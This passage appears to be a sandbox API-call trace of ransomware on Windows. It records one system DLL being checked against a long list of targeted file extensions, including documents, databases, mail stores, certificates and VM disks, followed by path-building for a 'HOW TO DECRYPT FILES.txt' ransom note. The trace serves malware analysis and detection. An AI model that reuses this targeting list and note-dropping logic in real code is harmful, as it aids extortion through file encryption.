PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.qbb") returned 0 [0119.304] lstrlenA (lpString="*.qbb") returned 5 [0119.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.qbm") returned 0 [0119.304] lstrlenA (lpString="*.qbm") returned 5 [0119.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.qbo") returned 0 [0119.305] lstrlenA (lpString="*.qbo") returned 5 [0119.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.qbx") returned 0 [0119.305] lstrlenA (lpString="*.qbx") returned 5 [0119.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.qba") returned 0 [0119.305] lstrlenA (lpString="*.qba") returned 5 [0119.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.qby") returned 0 [0119.305] lstrlenA (lpString="*.qby") returned 5 [0119.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.qbj") returned 0 [0119.305] lstrlenA (lpString="*.qbj") returned 5 [0119.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.ofx") returned 0 [0119.305] lstrlenA (lpString="*.ofx") returned 5 [0119.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.qif") returned 0 [0119.306] lstrlenA (lpString="*.qif") returned 5 [0119.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.mye") returned 0 [0119.306] lstrlenA (lpString="*.mye") returned 5 [0119.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.mbox") returned 0 [0119.306] lstrlenA (lpString="*.mbox") returned 6 [0119.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.eml") returned 0 [0119.306] lstrlenA (lpString="*.eml") returned 5 [0119.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.pst") returned 0 [0119.306] lstrlenA (lpString="*.pst") returned 5 [0119.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.ost") returned 0 [0119.306] lstrlenA (lpString="*.ost") returned 5 [0119.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.idx") returned 0 [0119.306] lstrlenA (lpString="*.idx") returned 5 [0119.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.dbx") returned 0 [0119.306] lstrlenA (lpString="*.dbx") returned 5 [0119.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.sql") returned 0 [0119.307] lstrlenA (lpString="*.sql") returned 5 [0119.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.mdb") returned 0 [0119.307] lstrlenA (lpString="*.mdb") returned 5 [0119.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.fdb") returned 0 [0119.307] lstrlenA (lpString="*.fdb") returned 5 [0119.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.wab") returned 0 [0119.307] lstrlenA (lpString="*.wab") returned 5 [0119.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.dat") returned 0 [0119.307] lstrlenA (lpString="*.dat") returned 5 [0119.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.txt") returned 0 [0119.307] lstrlenA (lpString="*.txt") returned 5 [0119.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.jpeg") returned 0 [0119.308] lstrlenA (lpString="*.jpeg") returned 6 [0119.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.jpg") returned 0 [0119.308] lstrlenA (lpString="*.jpg") returned 5 [0119.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.png") returned 0 [0119.308] lstrlenA (lpString="*.png") returned 5 [0119.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.php") returned 0 [0119.308] lstrlenA (lpString="*.php") returned 5 [0119.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.cs") returned 0 [0119.308] lstrlenA (lpString="*.cs") returned 4 [0119.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.cpp") returned 0 [0119.308] lstrlenA (lpString="*.cpp") returned 5 [0119.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.rar") returned 0 [0119.309] lstrlenA (lpString="*.rar") returned 5 [0119.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.zip") returned 0 [0119.309] lstrlenA (lpString="*.zip") returned 5 [0119.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.html") returned 0 [0119.309] lstrlenA (lpString="*.html") returned 6 [0119.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.htm") returned 0 [0119.309] lstrlenA (lpString="*.htm") returned 5 [0119.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.xlsx") returned 0 [0119.309] lstrlenA (lpString="*.xlsx") returned 6 [0119.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.xls") returned 0 [0119.309] lstrlenA (lpString="*.xls") returned 5 [0119.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.mp4") returned 0 [0119.310] lstrlenA (lpString="*.mp4") returned 5 [0119.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.ppt") returned 0 [0119.310] lstrlenA (lpString="*.ppt") returned 5 [0119.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.pptx") returned 0 [0119.310] lstrlenA (lpString="*.pptx") returned 6 [0119.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.doc") returned 0 [0119.310] lstrlenA (lpString="*.doc") returned 5 [0119.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.dot") returned 0 [0119.310] lstrlenA (lpString="*.dot") returned 5 [0119.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.docx") returned 0 [0119.310] lstrlenA (lpString="*.docx") returned 6 [0119.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.7z") returned 0 [0119.310] lstrlenA (lpString="*.7z") returned 4 [0119.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.tar") returned 0 [0119.311] lstrlenA (lpString="*.tar") returned 5 [0119.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.bz2") returned 0 [0119.312] lstrlenA (lpString="*.bz2") returned 5 [0119.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.gz") returned 0 [0119.312] lstrlenA (lpString="*.gz") returned 4 [0119.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.mkv") returned 0 [0119.312] lstrlenA (lpString="*.mkv") returned 5 [0119.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.eml") returned 0 [0119.312] lstrlenA (lpString="*.eml") returned 5 [0119.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.msg") returned 0 [0119.312] lstrlenA (lpString="*.msg") returned 5 [0119.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.edb") returned 0 [0119.312] lstrlenA (lpString="*.edb") returned 5 [0119.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.accdb") returned 0 [0119.313] lstrlenA (lpString="*.accdb") returned 7 [0119.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.odb") returned 0 [0119.313] lstrlenA (lpString="*.odb") returned 5 [0119.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.java") returned 0 [0119.313] lstrlenA (lpString="*.java") returned 6 [0119.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.asm") returned 0 [0119.313] lstrlenA (lpString="*.asm") returned 5 [0119.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.pfx") returned 0 [0119.313] lstrlenA (lpString="*.pfx") returned 5 [0119.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.pem") returned 0 [0119.313] lstrlenA (lpString="*.pem") returned 5 [0119.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.p12") returned 0 [0119.314] lstrlenA (lpString="*.p12") returned 5 [0119.316] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.gpg") returned 0 [0119.317] lstrlenA (lpString="*.gpg") returned 5 [0119.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.vsd") returned 0 [0119.317] lstrlenA (lpString="*.vsd") returned 5 [0119.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.odg") returned 0 [0119.317] lstrlenA (lpString="*.odg") returned 5 [0119.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.raw") returned 0 [0119.317] lstrlenA (lpString="*.raw") returned 5 [0119.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.nef") returned 0 [0119.317] lstrlenA (lpString="*.nef") returned 5 [0119.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.svg") returned 0 [0119.317] lstrlenA (lpString="*.svg") returned 5 [0119.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.psd") returned 0 [0119.317] lstrlenA (lpString="*.psd") returned 5 [0119.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.vmx") returned 0 [0119.318] lstrlenA (lpString="*.vmx") returned 5 [0119.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.vmdk") returned 0 [0119.318] lstrlenA (lpString="*.vmdk") returned 6 [0119.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.vdi") returned 0 [0119.318] lstrlenA (lpString="*.vdi") returned 5 [0119.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.lay6") returned 0 [0119.318] lstrlenA (lpString="*.lay6") returned 6 [0119.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.mpeg") returned 0 [0119.318] lstrlenA (lpString="*.mpeg") returned 6 [0119.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.djvu") returned 0 [0119.318] lstrlenA (lpString="*.djvu") returned 6 [0119.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.tiff") returned 0 [0119.318] lstrlenA (lpString="*.tiff") returned 6 [0119.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.backup") returned 0 [0119.318] lstrlenA (lpString="*.backup") returned 8 [0119.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.pdf") returned 0 [0119.318] lstrlenA (lpString="*.pdf") returned 5 [0119.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.cert") returned 0 [0119.319] lstrlenA (lpString="*.cert") returned 6 [0119.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.docm") returned 0 [0119.319] lstrlenA (lpString="*.docm") returned 6 [0119.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.xlsm") returned 0 [0119.319] lstrlenA (lpString="*.xlsm") returned 6 [0119.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.dwg") returned 0 [0119.319] lstrlenA (lpString="*.dwg") returned 5 [0119.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.nd") returned 0 [0119.319] lstrlenA (lpString="*.nd") returned 4 [0119.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.tlg") returned 0 [0119.319] lstrlenA (lpString="*.tlg") returned 5 [0119.320] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.lgb") returned 0 [0119.320] lstrlenA (lpString="*.lgb") returned 5 [0119.320] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.mov") returned 0 [0119.320] lstrlenA (lpString="*.mov") returned 5 [0119.320] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.xdw") returned 0 [0119.320] lstrlenA (lpString="*.xdw") returned 5 [0119.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.ods") returned 0 [0119.321] lstrlenA (lpString="*.ods") returned 5 [0119.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.wav") returned 0 [0119.321] lstrlenA (lpString="*.wav") returned 5 [0119.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.mp3") returned 0 [0119.321] lstrlenA (lpString="*.mp3") returned 5 [0119.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.aiff") returned 0 [0119.321] lstrlenA (lpString="*.aiff") returned 6 [0119.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.flac") returned 0 [0119.322] lstrlenA (lpString="*.flac") returned 6 [0119.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.m4a") returned 0 [0119.322] lstrlenA (lpString="*.m4a") returned 5 [0119.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll", pszSpec="*.csv") returned 0 [0119.322] lstrlenA (lpString="*.csv") returned 5 [0119.322] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83da910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa83da910, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa83da910, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x848, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.Services.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0119.322] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.322] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.IdentityModel.Services.ni.dll.aux") returned -1 [0119.322] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.IdentityModel.Services.ni.dll.aux") returned -1 [0119.322] lstrcmpiA (lpString1="", lpString2="System.IdentityModel.Services.ni.dll.aux") returned -1 [0119.322] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll") returned="System.IdentityModel.Services.ni.dll" [0119.322] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\" [0119.322] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\") returned="" [0119.322] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\HOW TO 